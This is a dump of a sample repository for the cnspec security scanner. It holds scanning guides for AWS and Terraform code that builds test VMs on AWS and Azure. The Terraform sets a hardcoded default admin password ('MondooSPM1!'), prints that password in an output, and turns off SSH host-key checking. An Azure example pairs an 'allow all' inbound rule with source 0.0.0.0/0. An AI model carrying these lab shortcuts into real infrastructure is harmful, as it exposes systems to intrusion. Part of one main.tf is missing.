example on how to execute a CIS Amazon Web Services Foundations Benchmark on your AWS account using the `cnspec`. The CIS (Center for Internet Security) Amazon Web Services Foundations Benchmark provides a set of security configuration best practices for AWS. Performing this benchmark will help ensure that your AWS environment is secure and adheres to the principles of least privilege and defense in depth. 6 | 7 | ## Pre-requisites 8 | 9 | - You should have the `cnspec` installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up. 10 | - You need an AWS account and the necessary permissions to manage your resources. 11 | - The AWS CLI should be installed and configured with your credentials. 12 | 13 | ## Instructions 14 | 15 | To perform the CIS AWS Foundations Benchmark, you can use the following command with `cnspec`: 16 | 17 | ```bash 18 | cnspec scan aws --policy mondoo-cis-aws-foundations-benchmark 19 | ``` 20 | 21 | This command instructs `cnspec` to scan your AWS environment using the CIS Amazon Web Services Foundations Benchmark, discovering all the resources and security issues in your account. 22 | 23 | ## Results 24 | 25 | `cnspec` generates a report detailing the security status of your AWS account according to the CIS AWS Foundations Benchmark. The report will identify any security vulnerabilities or misconfigurations and recommend potential areas for improvement. 26 | 27 | ![cnspec running a CIS AWS Foundation Benchmark](./aws-account-cis-benchmark.gif) 28 | 29 | ## Troubleshoot 30 | 31 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool. 32 | - **AWS CLI**: Ensure that AWS CLI is installed and configured correctly. Verify that you are using the correct AWS credentials. If you encounter permission errors, check your AWS IAM role and permissions. 33 | - **Benchmark execution issues**: If the benchmark does not execute as expected, ensure that you have the necessary permissions to access all resources in your AWS account. 34 | 35 | If you encounter a problem that is not addressed in this guide, feel free to raise an issue in this GitHub repository. For more complex or ongoing issues, consider participating in our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help! 36 | -------------------------------------------------------------------------------- /aws/cis-benchmark/aws-account-cis-benchmark.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/cis-benchmark/aws-account-cis-benchmark.gif -------------------------------------------------------------------------------- /aws/cis-benchmark/aws-account-cis-benchmark.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/cis-benchmark/aws-account-cis-benchmark.mp4 -------------------------------------------------------------------------------- /aws/cis-benchmark/recording.tape: -------------------------------------------------------------------------------- 1 | # configure vhs 2 | Set Shell bash 3 | Set FontSize 16 4 | Set Width 1200 5 | Set Height 700 6 | Set PlaybackSpeed 2.0 7 | Set Margin 20 8 | Set MarginFill "#9147FF" 9 | Set BorderRadius 10 10 | 11 | # set output 12 | Output aws-account-cis-benchmark.gif 13 | Output aws-account-cis-benchmark.mp4 14 | 15 | # load environment variables 16 | Hide 17 | Type "source .env" 18 | Enter 19 | Type "clear" 20 | Enter 21 | Sleep 1s 22 | Show 23 | 24 | # run commands 25 | Type "cnspec scan aws --policy mondoo-cis-aws-foundations-benchmark" 26 | Sleep 500ms 27 | Enter 28 | Sleep 60s -------------------------------------------------------------------------------- /aws/ec2-instance-connect/README.md: -------------------------------------------------------------------------------- 1 | # Scanning an AWS EC2 Instance with cnspec using EC2 Instance Connect 2 | 3 | ## Overview 4 | 5 | This guide walks you through conducting a security scan on an AWS EC2 instance utilizing `cnspec` and EC2 Instance Connect. EC2 Instance Connect provides a secure and auditable means to connect to your instances, thereby eliminating the necessity to have an open public SSH port. 6 | 7 | The security scan will be carried out in accordance with: 8 | 9 | - Vulnerability Management 10 | - CIS AWS Amazon Linux 2 Benchmark 11 | 12 | ## Pre-requisites 13 | 14 | - You should have the `cnspec` tool installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up. 15 | - You need an AWS account and the necessary permissions to manage EC2 instances. 16 | - The AWS CLI should be installed and configured with your credentials. 17 | - Make sure EC2 Instance Connect is configured for your instance. 18 | 19 | ## Instructions 20 | 21 | To begin, create a new AWS EC2 instance. For this guide, we'll be using Amazon Linux 2. Test the connection to the new instance with the following command: 22 | 23 | ```bash 24 | aws ec2-instance-connect ssh --instance-id 25 | ``` 26 | 27 | Next, perform a security scan on your EC2 instance using `cnspec` and EC2 Instance Connect: 28 | 29 | ```bash 30 | cnspec scan aws ec2 instance-connect ec2-user@ 31 | ``` 32 | 33 | This command executes a security scan on your EC2 instance. 34 | 35 | ## Results 36 | 37 | `cnspec` generates a report detailing the vulnerability and security status of the scanned EC2 instance. This report will identify any security vulnerabilities and recommend potential areas for improvement. 38 | 39 | ![cnspec running a security scan using EC2 instance connect](./aws-ec2-instance.gif) 40 | 41 | ## Troubleshoot 42 | 43 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool. 44 | - **AWS CLI and EC2 Instance Connect**: Ensure the latest AWS CLI is installed and configured correctly. Verify that you are using the correct region, availability zone, and instance ID. If you encounter permission errors, check your AWS IAM role and permissions. 45 | - **SSH connection issues**: If you cannot connect to your EC2 instance, make sure you are using the correct username (usually "ec2-user" for Amazon Linux instances). 46 | 47 | For more complex or ongoing issues, feel free to participate in our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help! 48 | -------------------------------------------------------------------------------- /aws/ec2-instance-connect/aws-ec2-instance.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/ec2-instance-connect/aws-ec2-instance.gif -------------------------------------------------------------------------------- /aws/ec2-instance-connect/aws-ec2-instance.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/ec2-instance-connect/aws-ec2-instance.mp4 -------------------------------------------------------------------------------- /aws/ec2-instance-connect/recording.tape: -------------------------------------------------------------------------------- 1 | # configure vhs 2 | Set Shell bash 3 | Set FontSize 16 4 | Set Width 1200 5 | Set Height 700 6 | Set PlaybackSpeed 3.0 7 | Set Margin 20 8 | Set MarginFill "#9147FF" 9 | Set BorderRadius 10 10 | 11 | # set output 12 | Output aws-ec2-instance.gif 13 | Output aws-ec2-instance.mp4 14 | 15 | # load environment variables 16 | Hide 17 | Type "source .env" 18 | Enter 19 | Type "clear" 20 | Enter 21 | Sleep 1s 22 | Show 23 | 24 | # run commands 25 | Type "cnspec scan aws ec2 instance-connect ec2-user@i-08f694f3db223553f" 26 | Sleep 500ms 27 | Enter 28 | Sleep 100s -------------------------------------------------------------------------------- /aws/ec2-instance-proxy/README.md: -------------------------------------------------------------------------------- 1 | # AWS EC2 INSTANCES 2 | 3 | This repository contains Terraform code for provisioning AWS EC2 instances for testing cnspec behind a squid proxy. The code creates the following: 4 | 5 | - AWS VPC 6 | - EC2 Security group for Linux with all ports open to your ip address 7 | - 2 EC instances 8 | - One Debian12 is running the squid proxy (running port 3128) 9 | - One Debian12 is allowed to ssh in and to communicate to the squid proxy (no direct internet access) 10 | 11 | ## Prereqs 12 | 13 | - AWS Account 14 | - Terraform 15 | 16 | ## Provision 17 | 18 | Example `terraform.tfvars`: 19 | 20 | ```coffee 21 | prefix = "ec2-secops-test" 22 | 23 | aws_key_pair_name = "scottford" 24 | 25 | ssh_key = "~/.ssh/ssh-rsa" 26 | 27 | publicIP="1.1.1.1/32" 28 | 29 | linux_instance_type = "t2.medium" 30 | ``` 31 | 32 | ```bash 33 | terraform init 34 | terraform plan -out tfplan.out 35 | terraform apply tfplan.out 36 | ``` 37 | 38 | ## Test the squid proxy 39 | 40 | ```bash 41 | curl -vk --proxy http://:3128 https://google.de 42 | ``` 43 | 44 | Show the proxy connection in the log file 45 | 46 | ```bash 47 | tail -f /var/log/squid/access.log 48 | ``` 49 | -------------------------------------------------------------------------------- /aws/ec2-instance-proxy/amis.tf: -------------------------------------------------------------------------------- 1 | //////////////////////////////// 2 | // AMIs 3 | 4 | data "aws_ami" "debian12" { 5 | most_recent = true 6 | 7 | filter { 8 | name = "name" 9 | values = ["debian-12-amd64-2023*"] 10 | } 11 | 12 | filter { 13 | name = "virtualization-type" 14 | values = ["hvm"] 15 | } 16 | 17 | owners = ["136693071363"] 18 | } 19 | 20 | data "aws_ami" "winserver2022" { 21 | most_recent = true 22 | 23 | filter { 24 | name = "name" 25 | values = ["Windows_Server-2022-English-Full-Base-*"] 26 | } 27 | 28 | filter { 29 | name = "virtualization-type" 30 | values = ["hvm"] 31 | } 32 | 33 | owners = ["801119661308"] 34 | } -------------------------------------------------------------------------------- /aws/ec2-instance-proxy/main.tf: -------------------------------------------------------------------------------- 1 | resource "random_id" "instance_id" { 2 | byte_length = 4 3 | } 4 | 5 | locals { 6 | linux_proxy_data = <<-EOT 7 | #!/bin/bash 8 | sudo apt update 9 | sudo apt install -y iptables curl squid dnsutils 10 | sudo tee /etc/squid/squid.conf < 51 | $NewPassword = ConvertTo-SecureString "${var.windows_admin_password}" -AsPlainText -Force 52 | Set-LocalUser -Name Administrator -Password $NewPassword 53 | New-NetFirewallRule -DisplayName “AllowRDP” -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow 54 | Set-NetFirewallProfile -Name Public -DefaultOutboundAction Block 55 | Set-NetFirewallProfile -Name Domain -DefaultOutboundAction Block 56 | Set-NetFirewallProfile -Name Private -DefaultOutboundAction Block 57 | New-NetFirewallRule -DisplayName “AllowDNS” -Direction Outbound -Protocol ANY -RemotePort 53 -Action Allow 58 | New-NetFirewallRule -Name Allow10.0.0.0 -DisplayName 'Allow from 10.0.0.0/8' -Enabled True -Direction Outbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress 10.0.0.0/8 59 | 60 | EOT 61 | } 62 | 63 | //////////////////////////////// 64 | // VPC Configuration 65 | 66 | module "vpc" { 67 | source = "terraform-aws-modules/vpc/aws" 68 | version = "~> 5.1.0" 69 | 70 | name = "${var.prefix}-${random_id.instance_id.id}" 71 | cidr = var.vpc_cidr 72 | 73 | azs = ["${var.region}a", "${var.region}b", "${var.region}c"] 74 | private_subnets = var.vpc_private_subnets 75 | public_subnets = var.vpc_public_subnets 76 | enable_nat_gateway = var.vpc_enable_nat_gateway 77 | } 78 | 79 | //////////////////////////////// 80 | // Proxy Security Groups 81 | 82 | module "proxy_sg" { 83 | source = "terraform-aws-modules/security-group/aws" 84 | version = "~> 4.3" 85 | 86 | name = "${var.prefix}-${random_id.instance_id.id}-proxy-sg" 87 | description = "Security group for Proxy instances" 88 | vpc_id = module.vpc.vpc_id 89 | 90 | ingress_with_cidr_blocks = [ 91 | { 92 | from_port = 0 93 | to_port = 0 94 | protocol = "-1" 95 | description = "Allow all from my ip" 96 | cidr_blocks = "10.0.0.0/8,${var.publicIP}" 97 | } 98 | ] 99 | 100 | egress_with_cidr_blocks = [ 101 | { 102 | from_port = 0 103 | to_port = 0 104 | protocol = "-1" 105 | description = "User-service ports (ipv4)" 106 | cidr_blocks = "0.0.0.0/0" 107 | }, 108 | ] 109 | } 110 | 111 | // Debian 12 squid proxy 112 | 113 | module "debian12_proxy" { 114 | source = "terraform-aws-modules/ec2-instance/aws" 115 | version = "~> 5.2.1" 116 | 117 | name = "${var.prefix}-debian12-proxy-${random_id.instance_id.id}" 118 | ami = data.aws_ami.debian12.id 119 | instance_type = var.linux_instance_type 120 | vpc_security_group_ids = [module.proxy_sg.security_group_id] 121 | subnet_id = module.vpc.public_subnets[0] 122 | key_name = var.aws_key_pair_name 123 | user_data = base64encode(local.linux_proxy_data) 124 | user_data_replace_on_change = true 125 | associate_public_ip_address = true 126 | } 127 | 128 | // Debian 12 129 | 130 | module "debian12" { 131 | source = "terraform-aws-modules/ec2-instance/aws" 132 | version = "~> 5.2.1" 133 | 134 | name = "${var.prefix}-debian12-${random_id.instance_id.id}" 135 | ami = data.aws_ami.debian12.id 136 | instance_type = var.linux_instance_type 137 | vpc_security_group_ids = [module.proxy_sg.security_group_id] 138 | subnet_id = module.vpc.public_subnets[0] 139 | key_name = var.aws_key_pair_name 140 | user_data = base64encode(local.linux_data) 141 | user_data_replace_on_change = true 142 | associate_public_ip_address = true 143 | } 144 | 145 | // Windows 2022 146 | 147 | module "windows2022" { 148 | source = "terraform-aws-modules/ec2-instance/aws" 149 | version = "~> 5.2.1" 150 | 151 | name = "${var.prefix}-windows2022-${random_id.instance_id.id}" 152 | ami = data.aws_ami.winserver2022.id 153 | instance_type = var.windows_instance_type 154 | vpc_security_group_ids = [module.proxy_sg.security_group_id] 155 | subnet_id = module.vpc.public_subnets[0] 156 | key_name = var.aws_key_pair_name 157 | associate_public_ip_address = true 158 | user_data = base64encode(local.windows_data) 159 | user_data_replace_on_change = true 160 | get_password_data = true 161 | } -------------------------------------------------------------------------------- /aws/ec2-instance-proxy/outputs.tf: -------------------------------------------------------------------------------- 1 | output "vpc-name" { 2 | value = module.vpc.name 3 | } 4 | 5 | # debian12 6 | output "debian12" { 7 | value = module.debian12.public_ip == null ? "" : "ssh -o StrictHostKeyChecking=no -i ~/.ssh/${var.aws_key_pair_name} admin@${module.debian12.public_ip}" 8 | } 9 | 10 | output "debian12_proxy" { 11 | value = module.debian12_proxy.public_ip == null ? "" : "ssh -o StrictHostKeyChecking=no -i ~/.ssh/${var.aws_key_pair_name} admin@${module.debian12_proxy.public_ip}" 12 | } 13 | 14 | output "privat_proxy" { 15 | value = "private ip address of the proxy: ${module.debian12_proxy.private_ip}" 16 | } 17 | 18 | # windows2022 19 | output "windows2022" { 20 | value = module.windows2022.public_ip == null ? "" : "xfreerdp /u:Administrator /v:${module.windows2022.public_ip}:3389 /h:1500 /w:2048 /p:'${var.windows_admin_password}'" 21 | } -------------------------------------------------------------------------------- /aws/ec2-instance-proxy/providers.tf: -------------------------------------------------------------------------------- 1 | provider "aws" { 2 | region = var.region 3 | 4 | default_tags { 5 | tags = var.default_tags 6 | } 7 | } -------------------------------------------------------------------------------- /aws/ec2-instance-proxy/variables.tf: -------------------------------------------------------------------------------- 1 | //////////////////////////////// 2 | // AWS Credentials 3 | 4 | variable "aws_profile" { 5 | default = "default" 6 | } 7 | 8 | variable "region" { 9 | default = "us-east-1" 10 | } 11 | 12 | //////////////////////////////// 13 | // Global Settings 14 | 15 | variable "prefix" { 16 | description = "Prefix for resource names" 17 | type = string 18 | default = "mondoo" 19 | } 20 | 21 | variable "default_tags" { 22 | description = "Tags to apply to resources created by VPC module" 23 | type = map(string) 24 | default = { 25 | Terraform = "true" 26 | Environment = "Test" 27 | } 28 | } 29 | 30 | variable "mondoo_registration_token" { 31 | description = "cnspec registration key" 32 | type = string 33 | default = "" 34 | } 35 | 36 | variable "ssh_key" { 37 | description = "ssh rsa key to decrypt windows password" 38 | type = string 39 | default = "" 40 | } 41 | 42 | //////////////////////////////// 43 | // VPC Settings 44 | 45 | variable "vpc_cidr" { 46 | description = "CIDR block for VPC" 47 | type = string 48 | default = "10.0.0.0/16" 49 | } 50 | 51 | variable "vpc_private_subnets" { 52 | description = "Private subnets for VPC" 53 | type = list(string) 54 | default = ["10.0.1.0/24", "10.0.2.0/24"] 55 | } 56 | 57 | variable "vpc_public_subnets" { 58 | description = "Public subnets for VPC" 59 | type = list(string) 60 | default = ["10.0.101.0/24", "10.0.102.0/24"] 61 | } 62 | 63 | variable "vpc_enable_nat_gateway" { 64 | description = "Enable NAT gateway for VPC" 65 | type = bool 66 | default = true 67 | } 68 | 69 | //////////////////////////////// 70 | // EC2 Settings 71 | 72 | variable "aws_key_pair_name" {} 73 | 74 | variable "linux_instance_type" { 75 | default = "t2.micro" 76 | } 77 | 78 | variable "windows_instance_type" { 79 | default = "t2.micro" 80 | } 81 | 82 | variable "publicIP" { 83 | description = "Your home PublicIP to configure access to ec2 instances" 84 | } 85 | 86 | variable "windows_admin_password" { 87 | default = "MondooSPM1!" 88 | } 89 | -------------------------------------------------------------------------------- /aws/ec2-instances/providers.tf: -------------------------------------------------------------------------------- 1 | provider "aws" { 2 | region = var.region 3 | 4 | default_tags { 5 | tags = var.default_tags 6 | } 7 | } -------------------------------------------------------------------------------- /aws/iam-mfa/README.md: -------------------------------------------------------------------------------- 1 | # Verifying MFA Status for AWS IAM Users 2 | 3 | ## Overview 4 | 5 | This guide demonstrates how to verify that all AWS IAM users have Multi-Factor Authentication (MFA) enabled. Ensuring MFA is crucial in securing your AWS resources as it offers an additional layer of protection by requiring users to provide at least two forms of identification. 6 | 7 | ## Pre-requisites 8 | 9 | - You should have the `cnspec` installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up. 10 | - You need an AWS account and the necessary permissions to manage your resources. 11 | - The AWS CLI should be installed and configured with your credentials. 12 | 13 | ## Instructions 14 | 15 | To perform the MFA check, you can use the following command with `cnspec`: 16 | 17 | ```bash 18 | cnspec scan aws --discover iam-users 19 | ``` 20 | 21 | This command lists all IAM users and checks each user for enabled MFA devices. The result will be a list of usernames with their MFA status. 22 | 23 | ## Results 24 | 25 | The output will be a list of IAM usernames with a check on whether MFA is enabled: 26 | 27 | ![cnspec running a CIS AWS Foundation Benchmark](./aws-iam-mfa.gif) 28 | 29 | ## Troubleshoot 30 | 31 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool. 32 | - **AWS CLI**: Ensure that AWS CLI is installed and configured correctly. Verify that you are using the correct AWS credentials. If you encounter permission errors, check your AWS IAM role and permissions. 33 | - **Policy execution issues**: If the policy does not execute as expected, ensure that you have the necessary permissions to access all resources in your AWS account. 34 | 35 | Should you encounter a problem that is not addressed in this guide, feel free to open an issue in this GitHub repository. For ongoing issues or broader discussions, we invite you to join us over at our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help! 36 | -------------------------------------------------------------------------------- /aws/iam-mfa/aws-iam-mfa.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/iam-mfa/aws-iam-mfa.gif -------------------------------------------------------------------------------- /aws/iam-mfa/aws-iam-mfa.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/iam-mfa/aws-iam-mfa.mp4 -------------------------------------------------------------------------------- /aws/iam-mfa/recording.tape: -------------------------------------------------------------------------------- 1 | # configure vhs 2 | Set Shell bash 3 | Set FontSize 16 4 | Set Width 2400 5 | Set Height 1400 6 | Set PlaybackSpeed 2.0 7 | Set Margin 20 8 | Set MarginFill "#9147FF" 9 | Set BorderRadius 10 10 | 11 | # set output 12 | Output aws-iam-mfa.gif 13 | Output aws-iam-mfa.mp4 14 | 15 | # load environment variables 16 | Hide 17 | Type "source .env" 18 | Enter 19 | Type "clear" 20 | Enter 21 | Sleep 1s 22 | Show 23 | 24 | # run commands 25 | Type "cnspec scan aws --discover iam-users" 26 | Sleep 500ms 27 | Enter 28 | Sleep 80s -------------------------------------------------------------------------------- /aws/public-s3/README.md: -------------------------------------------------------------------------------- 1 | # Checking Public Exposure of AWS S3 Buckets with cnspec 2 | 3 | ## Overview 4 | 5 | This example uses `cnspec` to check for publicly exposed AWS S3 buckets within your AWS account. Publicly exposed buckets can lead to unauthorized access or data breaches, and it's critical to ensure they are secure. 6 | 7 | ## Pre-requisites 8 | 9 | - You should have an AWS account and the necessary credentials (Access Key ID and Secret Access Key) available. 10 | - Install cnspec following the instructions provided at the installation page of the cnspec GitHub repository. 11 | 12 | ## Instructions 13 | 14 | To scan all your AWS S3 buckets, use the `cnspec` with the scan option, as follows: 15 | 16 | ```bash 17 | cnspec scan aws --discover s3-buckets 18 | ``` 19 | 20 | This command will initiate a scan across your AWS S3 buckets and report any that are publicly exposed. 21 | 22 | ## Results 23 | 24 | After running the `cnspec` command, you see a report printed to your console. The report will list all the S3 buckets, their results. 25 | 26 | ![cnspec running a AWS S3 bucket scan](aws-public-s3.gif) 27 | 28 | ## Troubleshoot 29 | 30 | If you encounter any issues while running the scan: 31 | 32 | - **Authentication Issues:** Ensure your AWS credentials are correctly configured. You can do this using the AWS CLI with the command aws configure. 33 | 34 | - **Permission Issues:** Ensure the IAM user or role associated with your credentials has the necessary permissions to list and check the S3 buckets. 35 | 36 | - **`cnspec` Installation Issues:** If you have trouble installing cnspec, ensure you're following the instructions on the installation page correctly. 37 | 38 | Should you encounter a problem that is not addressed in this guide, feel free to open an issue in this GitHub repository. For ongoing issues or broader discussions, we invite you to join us over at our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help! 39 | -------------------------------------------------------------------------------- /aws/public-s3/aws-public-s3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/public-s3/aws-public-s3.gif -------------------------------------------------------------------------------- /aws/public-s3/aws-public-s3.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/public-s3/aws-public-s3.mp4 -------------------------------------------------------------------------------- /aws/public-s3/recording.tape: -------------------------------------------------------------------------------- 1 | # configure vhs 2 | Set Shell bash 3 | Set FontSize 16 4 | Set Width 1200 5 | Set Height 700 6 | Set PlaybackSpeed 2.0 7 | Set Margin 20 8 | Set MarginFill "#9147FF" 9 | Set BorderRadius 10 10 | 11 | # set output 12 | Output aws-public-s3.gif 13 | Output aws-public-s3.mp4 14 | 15 | # load environment variables 16 | Hide 17 | Type "source .env" 18 | Enter 19 | Type "clear" 20 | Enter 21 | Sleep 1s 22 | Show 23 | 24 | # run commands 25 | Type "cnspec scan aws --discover s3-buckets" 26 | Sleep 500ms 27 | Enter 28 | Sleep 30s -------------------------------------------------------------------------------- /azure/README.md: -------------------------------------------------------------------------------- 1 | # Setup Windows VMs in Azure 2 | 3 | ## Prereqs 4 | 5 | - Azure Account 6 | - Terraform 7 | 8 | ## Supported Platforms 9 | 10 | | Platform | Description | Variable | 11 | |-----------------------|-------------------------------|--------------------| 12 | | Windows 10 Enterprise | Latest Azure Windows 10 image | `create_windows10` | 13 | | Windows 11 Enterprise | Latest Azure Windows 11 image | `create_windows11` | 14 | 15 | 16 | ## Provision 17 | 18 | - A `terraform.tfvars` file containing those two variables: 19 | 20 | ```coffee 21 | tenant_id = "xxx" 22 | subscription_id = "xxxx" 23 | 24 | publicIP="0.0.0.0/0" 25 | create_windows10 = false 26 | create_windows11 = true 27 | ``` 28 | 29 | - A login to Azure via `azure-cli` 30 | 31 | ```bash 32 | az login --use-device-code 33 | ``` 34 | 35 | ```bash 36 | terraform init --upgrade 37 | ``` 38 | 39 | ```bash 40 | terraform plan -out plan.out 41 | ``` 42 | 43 | ```bash 44 | terraform apply -auto-approve plan.out 45 | ``` 46 | 47 | ### Connect to VM using `xfreerdp` from Ubuntu 48 | 49 | Run the following command to see the connection details (including sensitive values) 50 | 51 | ```bash 52 | terraform output -raw summary 53 | ``` 54 | 55 | ## Find Azure Image 56 | 57 | The command to look-up the values is something along the lines of (takes some time to complete): 58 | 59 | ```bash 60 | az vm image list --offer Windows-11 --output table --all 61 | ``` 62 | 63 | ### Issues with provisioning using the `locals` variable. 64 | 65 | As of now it wasn't possible to provision the images further by simply adding a `locals` variable block, like that: 66 | 67 | ``` 68 | locals { 69 | windows_user_data_cnspec = <<-EOT 70 | 71 | $hello = "Hello World" 72 | $hello | Out-File C:\debug.txt 73 | 74 | EOT 75 | } 76 | ``` 77 | 78 | and using the 79 | ``` 80 | custom_data = base64encode(local.windows_user_data_cnspec) 81 | ``` 82 | 83 | in the 84 | 85 | ```module"windows11"``` 86 | 87 | the same we would on AWS. -------------------------------------------------------------------------------- /azure/main.tf: -------------------------------------------------------------------------------- 1 | resource "random_string" "suffix" { 2 | length = 4 3 | special = false 4 | upper = false 5 | } 6 | 7 | resource "random_password" "password" { 8 | length = 16 9 | special = true 10 | override_special = "!#$" 11 | min_lower = 1 12 | min_numeric = 1 13 | min_special = 1 14 | min_upper = 1 15 | } 16 | 17 | resource "azurerm_resource_group" "rg" { 18 | name = "rg-${var.prefix}-vms-${random_string.suffix.result}" 19 | location = var.resource_group_location 20 | } 21 | 22 | resource "azurerm_virtual_network" "vnet" { 23 | address_space = [var.vnet_address_space] 24 | location = var.resource_group_location 25 | name = "host${random_string.suffix.result}-vn" 26 | resource_group_name = azurerm_resource_group.rg.name 27 | } 28 | 29 | resource "azurerm_subnet" "subnet" { 30 | count = 1 31 | 32 | # tflint-ignore: terraform_count_index_usage 33 | address_prefixes = [cidrsubnet(var.vnet_address_space, 8, count.index)] 34 | name = "host${random_string.suffix.result}-sn-${count.index + 1}" 35 | resource_group_name = azurerm_resource_group.rg.name 36 | virtual_network_name = azurerm_virtual_network.vnet.name 37 | } 38 | 39 | resource "azurerm_network_security_group" "external_nsg" { 40 | location = var.resource_group_location 41 | name = "${azurerm_resource_group.rg.name}-nsg" 42 | resource_group_name = azurerm_resource_group.rg.name 43 | } 44 | 45 | resource "azurerm_network_security_rule" "vm" { 46 | access = "Allow" 47 | direction = "Inbound" 48 | name = "allow_all" 49 | network_security_group_name = azurerm_network_security_group.external_nsg.name 50 | priority = 101 51 | protocol = "Tcp" 52 | resource_group_name = azurerm_resource_group.rg.name 53 | description = "Allow all" 54 | destination_address_prefix = "*" 55 | destination_port_range = "*" 56 | source_address_prefix = "${var.publicIP}" 57 | source_port_range = "*" 58 | } 59 | 60 | module "windows10" { 61 | count = var.create_windows10 ? 1 : 0 62 | source = "Azure/compute/azurerm" 63 | resource_group_name = azurerm_resource_group.rg.name 64 | is_windows_image = true 65 | vm_hostname = "win10-${random_string.suffix.result}" // line can be removed if only one VM module per resource group 66 | admin_username = "${var.windows_admin_username}" 67 | admin_password = "${var.windows_admin_password}" 68 | vm_os_publisher = "MicrosoftWindowsDesktop" 69 | vm_os_offer = "windows-10" 70 | vm_os_sku = "win10-22h2-entn-g2" 71 | vm_os_version = "latest" 72 | public_ip_dns = ["win10-simpleip-${random_string.suffix.result}"] 73 | vnet_subnet_id = azurerm_subnet.subnet[0].id 74 | network_security_group = { 75 | id = azurerm_network_security_group.external_nsg.id 76 | } 77 | 78 | depends_on = [azurerm_resource_group.rg] 79 | } 80 | 81 | module "windows11" { 82 | count = var.create_windows11 ? 1 : 0 83 | source = "Azure/compute/azurerm" 84 | resource_group_name = azurerm_resource_group.rg.name 85 | is_windows_image = true 86 | vm_hostname = "win11-${random_string.suffix.result}" // line can be removed if only one VM module per resource group 87 | admin_username = "${var.windows_admin_username}" 88 | admin_password = "${var.windows_admin_password}" 89 | vm_os_publisher = "MicrosoftWindowsDesktop" 90 | vm_os_offer = "windows-11" 91 | vm_os_sku = "win11-23h2-entn" 92 | vm_os_version = "latest" 93 | public_ip_dns = ["win11-simpleip-${random_string.suffix.result}"] 94 | vnet_subnet_id = azurerm_subnet.subnet[0].id 95 | network_security_group = { 96 | id = azurerm_network_security_group.external_nsg.id 97 | } 98 | 99 | depends_on = [azurerm_resource_group.rg] 100 | } -------------------------------------------------------------------------------- /azure/output.tf: -------------------------------------------------------------------------------- 1 | 2 | output "windows_10" { 3 | value = module.windows10 == [] ? [""] : module.windows10[0].public_ip_dns_name 4 | } 5 | 6 | output "windows_11" { 7 | value = module.windows11 == [] ? [""] : module.windows11[0].public_ip_dns_name 8 | } 9 | 10 | output "username_password" { 11 | value = "Username: ${var.windows_admin_username}, Password: ${var.windows_admin_password}" 12 | } -------------------------------------------------------------------------------- /azure/variables.tf: -------------------------------------------------------------------------------- 1 | variable "resource_group_name_prefix" { 2 | default = "rg" 3 | description = "Prefix of the resource group name that's combined with a random ID so name is unique in your Azure subscription." 4 | } 5 | 6 | variable "resource_group_location" { 7 | default = "eastus" 8 | description = "Location of the resource group." 9 | } 10 | 11 | variable "tenant_id" { 12 | type = string 13 | description = "The tenant to use" 14 | } 15 | 16 | variable "subscription_id" { 17 | type = string 18 | description = "The subscription to use." 19 | } 20 | 21 | variable "prefix" { 22 | description = "Prefix for resource names" 23 | type = string 24 | default = "mondoo-security" 25 | } 26 | 27 | variable "vnet_address_space" { 28 | description = "The address space that is used the virtual network" 29 | type = string 30 | default = "10.0.0.0/16" 31 | } 32 | 33 | variable "publicIP" { 34 | description = "Your home PublicIP to configure access to ec2 instances" 35 | } 36 | 37 | variable "windows_admin_username" { 38 | default = "adminuser" 39 | } 40 | 41 | variable "windows_admin_password" { 42 | default = "MondooSPM1!" 43 | } 44 | 45 | variable "create_windows10" { 46 | default = false 47 | } 48 | 49 | variable "create_windows11" { 50 | default = false 51 | } -------------------------------------------------------------------------------- /azure/versions.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | azurerm = { 4 | source = "hashicorp/azurerm" 5 | #version = "~>3.0" 6 | version = " 3.75.0" 7 | } 8 | 9 | random = { 10 | source = "hashicorp/random" 11 | version = "~> 3.1.0" 12 | } 13 | 14 | local = { 15 | source = "hashicorp/local" 16 | version = "~> 2.2.0" 17 | } 18 | 19 | null = { 20 | source = "hashicorp/null" 21 | version = "~> 3.1.0" 22 | } 23 | 24 | kubernetes = { 25 | source = "hashicorp/kubernetes" 26 | version = "~> 2.10.0" 27 | } 28 | 29 | docker = { 30 | source = "kreuzwerker/docker" 31 | version = "~> 2.16.0" 32 | } 33 | } 34 | } 35 | 36 | provider "azurerm" { 37 | features { 38 | resource_group { 39 | prevent_deletion_if_contains_resources = false 40 | } 41 | } 42 | tenant_id = var.tenant_id 43 | subscription_id = var.subscription_id 44 | } 45 | -------------------------------------------------------------------------------- /gcp/cis-benchmark/README.md: -------------------------------------------------------------------------------- 1 | # Scan a GCP Project against the CIS GCP Foundations Benchmark using cnspec 2 | 3 | ## Overview 4 | 5 | This guide provides an example on how to scan a GCP project against the CIS 